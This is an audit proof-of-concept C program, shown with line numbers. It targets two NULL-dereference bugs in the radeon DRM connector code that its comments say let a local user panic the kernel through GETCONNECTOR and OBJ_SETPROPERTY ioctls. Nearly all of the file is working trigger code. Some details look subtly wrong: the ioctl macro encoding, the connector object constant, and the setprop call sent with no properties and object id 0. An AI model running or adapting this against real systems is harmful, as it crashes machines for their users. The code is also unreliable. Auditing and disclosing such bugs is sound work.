DF-4033 / conn_probe.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | /* * conn_probe.c — PoC trigger for DF-4033 / DF-4034 * (sys/dev/drm/radeon/radeon_connectors.c). * * Self-contained raw-ioctl probe of the DRM connector surface that reaches * the two defects: * * getconnector DF-4034: DRM_IOCTL_MODE_GETCONNECTOR (unauthenticated, * drm_ioctl.c:663) drives connector->funcs->fill_modes -> * radeon_*_get_modes -> radeon_connector_get_edid(), which * dereferences radeon_connector->ddc_bus->has_aux * (radeon_connectors.c:311) without a NULL check. On a * board whose DP-bridge connector (TRAVIS/NUTMEG encoder) * failed i2c-bus lookup (radeon_connectors.c:1962-1966 * leaves ddc_bus NULL and still creates the connector), * this is an immediate NULL-deref panic, triggerable by an * unprivileged local user. * * setprop DF-4033: DRM_IOCTL_MODE_OBJ_SETPROPERTY (DRM_MASTER, * drm_ioctl.c:679) -> radeon_connector_set_property / * radeon_lvds_set_property: when connector->encoder is * NULL and best_encoder() returns NULL (empty possible- * encoder list), the code dereferences the NULL * radeon_encoder (radeon_connectors.c:733, 753, 972) and * radeon_get_monitor_bpc() does the same at :161-165. * * On hardware with the misconfiguration, the kernel panics on the NULL * deref. On the audit QEMU guest /dev/dri does not exist (no radeon GPU). * * Usage: ./conn_probe <getconnector|setprop> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #define DRM_IOCTL_BASE 'd' struct drm_mode_modeinfo { /* only the header fields we need */ uint32_t clock; uint16_t hdisplay, hsync_start, hsync_end, htotal, hskew; uint16_t vdisplay, vsync_start, vsync_end, vtotal, vscan; uint32_t flags; uint8_t name[32]; uint8_t type, pad0; uint16_t vrefresh, pad1; }; struct drm_mode_card_res { uint64_t fb_id_ptr, crtc_id_ptr, connector_id_ptr, encoder_id_ptr; uint32_t count_fbs, count_crtcs, count_connectors, count_encoders; uint32_t min_width, max_width, min_height, max_height; }; struct drm_mode_get_connector { uint64_t encoders_ptr; uint64_t modes_ptr; uint64_t props_ptr; uint64_t prop_values_ptr; uint32_t count_modes, count_props, count_encoders; uint32_t encoder_id, connector_id; uint32_t connector_type, connector_type_id; uint32_t connection, mm_width, mm_height, subpixel; uint32_t pad; }; struct drm_mode_obj_set_properties { uint64_t props_ptr; uint64_t prop_values_ptr; uint32_t count_props, obj_id, obj_type, pad; }; #define DRM_CONNECTOR 0xC /* DRM_MODE_OBJECT_CONNECTOR */ #define DRM_IOCTL_MODE_GETRESOURCES _IOWR(0xA0, 0, struct drm_mode_card_res) #define DRM_IOCTL_MODE_GETCONNECTOR _IOWR(0xA7, 0, struct drm_mode_get_connector) #define DRM_IOCTL_MODE_OBJ_SETPROPERTY _IOWR(0xBA, 0, struct drm_mode_obj_set_properties) int main(int argc, char **argv) { const char *mode = argc > 1 ? argv[1] : "getconnector"; int fd = open("/dev/dri/card0", O_RDWR); int i, r; if (fd < 0) { fprintf(stderr, "open(/dev/dri/card0): %s — no radeon DRM device " "on this machine; trigger is hardware-gated.\n", strerror(errno)); return 2; } if (!strcmp(mode, "getconnector")) { uint64_t encs[64]; struct drm_mode_modeinfo modes[64]; uint32_t conn_ids[32]; struct drm_mode_card_res res; memset(&res, 0, sizeof(res)); res.connector_id_ptr = (uint64_t)(uintptr_t)conn_ids; res.count_connectors = 32; r = ioctl(fd, DRM_IOCTL_MODE_GETRESOURCES, &res); if (r) { perror("GETRESOURCES"); return 1; } for (i = 0; i < (int)res.count_connectors && i < 32; i++) { struct drm_mode_get_connector gc; memset(&gc, 0, sizeof(gc)); gc.connector_id = conn_ids[i]; gc.encoders_ptr = (uint64_t)(uintptr_t)encs; gc.count_encoders = 64; gc.modes_ptr = (uint64_t)(uintptr_t)modes; gc.count_modes = 64; /* fill_modes -> radeon_connector_get_edid(): * NULL-deref at radeon_connectors.c:311 when the * DP-bridge connector has ddc_bus == NULL. */ r = ioctl(fd, DRM_IOCTL_MODE_GETCONNECTOR, &gc); printf("connector %u: GETCONNECTOR -> %d (conn=%u)\n", conn_ids[i], r, gc.connection); } } else { /* setprop */ /* attach to any connector and poke the scaling-mode property; * needs DRM master. NULL radeon_encoder deref at * radeon_connectors.c:733/753/972 when best_encoder()==NULL. */ uint64_t props[2] = { 0, 0 }, vals[2] = { 0, 0 }; struct drm_mode_obj_set_properties sp; memset(&sp, 0, sizeof(sp)); sp.props_ptr = (uint64_t)(uintptr_t)props; sp.prop_values_ptr = (uint64_t)(uintptr_t)vals; sp.count_props = 0; /* enumeration handled by libdrm normally */ sp.obj_id = 0; sp.obj_type = DRM_CONNECTOR; r = ioctl(fd, DRM_IOCTL_MODE_OBJ_SETPROPERTY, &sp); printf("OBJ_SETPROPERTY -> %d (errno=%d %s)\n", r, errno, strerror(errno)); } return 0; } |